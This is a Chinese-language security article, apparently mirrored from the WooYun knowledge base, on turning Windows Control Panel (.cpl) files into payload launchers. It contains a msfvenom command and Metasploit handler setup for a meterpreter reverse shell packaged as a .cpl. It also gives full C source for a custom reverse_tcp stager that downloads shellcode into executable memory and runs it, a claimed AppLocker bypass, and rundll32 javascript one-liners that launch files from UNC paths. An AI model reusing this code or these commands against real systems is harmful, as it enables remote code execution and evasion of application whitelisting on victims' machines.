CPL檔案利用介紹

wyzsk發表於2020-08-19
作者: 三好學生 · 2016/05/23 9:41

0x00 前言


最近在研究Microsoft Windows Media Center - .MCL File Processing Remote Code Execution (MS16-059)的過程中接觸到了cpl檔案,於是對其做了進一步研究,發現了一些有趣的細節,分享給大家。

0x01 簡介


CPL檔案,是Windows控制皮膚擴充套件項,CPL全拼為Control Panel Item
在系統安裝目錄的system32下面有一系列.cpl檔案,它們分別對應著控制皮膚中的專案
CPL檔案本質是Windows可執行性檔案,但不屬於可以直接獨立執行的檔案,通常由shell32.dll開啟

0x02 製作CPL檔案


1、檔案特點

本質上是DLL檔案,但有如下特點:

  • 字尾名為cpl
  • 包含一個匯出函式CPLApplet
  • 可雙擊直接執行

2、開啟方式

(1) 雙擊直接執行

(2) cmd下輸入rundll32 shell32.dll,Control_RunDLL <檔名>

(3) cmd下輸入control <檔名>

注:
cmd下rundll32 shell32.dll,Control_RunDLL <檔名>等同於cmd下control <檔名>
control.exe實質呼叫了rundll32.exe,透過control.exe執行cpl檔案的程式為rundll32.exe

(4) 透過指令碼呼叫
a、vbs

#!shell
Dim obj
Set obj = CreateObject("Shell.Application")
obj.ControlPanelItem("test.cpl")

b、js

#!javascript
var a = new ActiveXObject("Shell.Application");
a.ControlPanelItem("c:\\test\\test.cpl");

3、使用vc 6.0製作標準cpl模板

由檔案特點可知,cpl本質就是一個dll檔案
所以我們可以在vc下建立一個dll的工程,並定義匯出函式為CPlApplet

#!c
LRESULT APIENTRY CPlApplet
(
    HWND    aHwndCPL_in,    // Handle to Configuration Panel window.
    UINT    aUMsg_in,        // CPL message.
    LPARAM    aLParam1_in,    // First message parameter.
    LPARAM  aLParam2_in    // Second message parameter.
) 

值得注意的是aUMsg_in裡面定義了一些CPL相關的引數:

                   | Return            | Return
CPL message        | if successfully   | if not successfully
-------------------+-------------------+--------------------
CPL_INIT           | nonzero           | zero
CPL_GETCOUNT       | nonzero           | zero
CPL_NEWINQUIRE     | zero              | nonzero
CPL_SELECT         | zero              | nonzero
CPL_DBLCLK         | zero              | nonzero
CPL_STOP           | zero              | nonzero
CPL_EXIT           | zero              | nonzero

圖表來自http://www.codeproject.com/Articles/3026/Creating-a-Config-Panel-Applet

CPL_INIT:
進行全域性初始化

CPL_GETCOUNT:
檢索應用程式支援的對話方塊的數目
返回值:支援的對話方塊數目

CPL_NEWINQUIRE:
請求該應用程式支援的對話方塊的請求資訊

CPL_SELECT:
設定當使用者選擇一個對話方塊時顯示的圖示

CPL_DBLCLK:
設定當使用者雙擊一個對話方塊時顯示的圖示

CPL_STOP:
控制皮膚關閉時向每個對話方塊發出的訊息

CPL_EXIT:
釋放記憶體,退出

以上僅對相關函式作簡要介紹,詳細說明可查msdn,提供一個可供參考的工程模板:
http://www.vbforums.com/attachment.php?s=7ebc3a64c985f675615a3e9d0aa350e8&attachmentid=286&d=981822351

注:
函式註釋的語言為斯洛維尼亞語,但不影響我們的程式開發
模板下載後可直接編譯出一個cpl檔案,雙擊正常執行

4、簡單粗暴的方式製作cpl檔案

新建一個標準dll工程,在DLL_PROCESS_ATTACH中新增payload 相關程式碼之下:

#!c
#include "Windows.h"
BOOL APIENTRY DllMain( HANDLE hModule, 
                       DWORD  ul_reason_for_call, 
                       LPVOID lpReserved
                     )
{
    switch (ul_reason_for_call)
    {
        case DLL_PROCESS_ATTACH:
            WinExec("cmd", SW_SHOW);
        case DLL_THREAD_ATTACH:
        case DLL_THREAD_DETACH:
        case DLL_PROCESS_DETACH:
            break;
    }
    return TRUE;
}

編譯後生成的dll檔案字尾名改為cpl即可

如圖

Alt text

點選後彈出cmd,但是退出後會彈框提示程式相容性問題
如果是管理員許可權的cmd,執行的程式結束後就不會彈框
(此問題的解決方法放在後面介紹)

0x03 測試


由以上內容可推斷只要將payload寫在DllMain()函式中,就可以直接修改dll字尾名為cpl,然後透過雙擊來執行
所以自然而然的想到了測試一下meterpreter是否支援這種方式

生成test.cpl:

#!shell
msfvenom -p windows/meterpreter/reverse_tcp -b '\x00\xff' lhost=192.168.127.132 lport=8888 -f dll -o test.cpl

msf:

#!shell
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.127.132
set LPORT 8888
exploit

雙擊test.cpl後彈回meterpreter shell
但是同樣在退出的時候會彈框提示程式相容性助手

0x04 解決問題


1、正常dll執行後彈框

經過測試發現,原有是因為vc6.0的版本低導致的程式相容問題
所以換在vs2008(或者更新的版本)下開發就不會存在這個問題

如圖

Alt text

2、解決meterpreter彈框的問題

這裡不深入探究msfvenom的生成方式,解決方法為使用c++程式自己編寫一個meterpreter的reverse_tcp版本
關鍵程式碼:

#!c
#include "Windows.h"
#include <WinSock2.h>
#include <stdio.h>  

#pragma comment(lib,"WS2_32.lib")   

int reverse_tcp()
{
    WSADATA wsData;
        if(WSAStartup(MAKEWORD(2,2),&wsData))
        {
            printf("WSAStartp fail.\n");
            return 0;
        } 

        SOCKET sock = WSASocket(AF_INET,SOCK_STREAM,0,0,0,0);
        SOCKADDR_IN server;
        ZeroMemory(&server,sizeof(SOCKADDR_IN));
        server.sin_family = AF_INET;
        server.sin_addr.s_addr = inet_addr("192.168.127.132"); //server ip
        server.sin_port = htons(8888); //server port
        if(SOCKET_ERROR == connect(sock,(SOCKADDR*)&server,sizeof(server)))
        {
            printf("connect to server fail.\n");
            closesocket(sock);
            WSACleanup();
            return 0;
        } 

        u_int payloadLen;
        if (recv(sock,(char*)&payloadLen,sizeof(payloadLen),0) != sizeof(payloadLen))
        {
            printf("recv error\n");
            closesocket(sock);
            WSACleanup();
            return 0;
        } 

        char* orig_buffer = (char*)VirtualAlloc(NULL,payloadLen,MEM_COMMIT,PAGE_EXECUTE_READWRITE);
        char* buffer = orig_buffer;
        int ret = 0;
        do 
        {
            ret = recv(sock,buffer,payloadLen,0);
            buffer += ret;
            payloadLen -= ret;
        } while (ret > 0 && payloadLen > 0);  


        __asm
        {
            mov edi,sock;   
            jmp orig_buffer; 
        } 

        VirtualFree(orig_buffer,0,MEM_RELEASE);   


}   

BOOL APIENTRY DllMain( HMODULE hModule,
                      DWORD  ul_reason_for_call,
                      LPVOID lpReserved
                      )
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        reverse_tcp();
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

生成dll檔案,字尾名改為cpl
正常執行,正常退出

0x05 Bypass Windows AppLocker


之前介紹過《Bypass Windows AppLocker》
開啟預設規則後會攔截exe和指令碼的執行,那麼cpl檔案呢?
當然可以繞過 Windows AppLocker的限制規則

如圖

Alt text

0x06 rundll32


補充一些rundll32呼叫js程式碼的細節;

執行遠端exe,會彈框攔截:

#!javascript
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();new%20ActiveXObject("WScript.Shell").Run("\\\\127.0.0.1\\c$\\test\\test.exe")

如圖

Alt text

解決方法:

#!javascript
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();new%20ActiveXObject("WScript.Shell").Exec("\\\\127.0.0.1\\c$\\test\\test.exe")

如圖 Alt text

執行本地cpl檔案,會彈框提示無法識別檔案字尾名:

#!javascript
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();new%20ActiveXObject("WScript.Shell").Run("c:\\test\\cpl.cpl")

如圖

Alt text

解決方法:

#!javascript
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();new%20ActiveXObject("WScript.Shell").Run("cmd /c c:\\test\\cpl.cpl",0,true)

遺留問題:

1、無法呼叫Shell.Application直接執行cpl檔案:

#!javascript
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();new20%ActiveXObject("Shell.Application").ControlPanelItem("c:\\test\\cpl.cpl")

2、無法遠端呼叫cpl檔案

無法識別檔案字尾:

#!javascript
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();new%20ActiveXObject("WScript.Shell").Exec("\\\\127.0.0.1\\c$\\test\\cpl.cpl")

彈框攔截遠端檔案:

#!javascript
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();new%20ActiveXObject("WScript.Shell").Exec("cmd /c \\\\127.0.0.1\\c$\\test\\cpl.cpl")

and

#!javascript
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();new%20ActiveXObject("WScript.Shell").Run("cmd /c \\\\127.0.0.1\\c$\\test\\cpl.cpl",0,true)

如果你有解決辦法或是更好的思路,希望能夠分享,不勝感激。

0x07 Microsoft Windows Media Center - .MCL File Processing Remote Code Execution (MS16-059)


下載連結:https://www.exploit-db.com/exploits/39805/

將定製的快捷方式放於任意路徑,本地或是遠端,當使用者訪問此目錄的時候,就會執行payload
演示的遠端路徑為: \\127.0.0.1\c$\test\poc(正常情況下訪問此目錄也會當作遠端目錄被沙盒攔截)

poc演示如圖,訪問遠端目錄 \\127.0.0.1\c$\test\poc並繞過沙盒攔截,成功執行payload

Alt text

本文章來源於烏雲知識庫,此映象為了方便大家學習研究,文章版權歸烏雲知識庫!

相關文章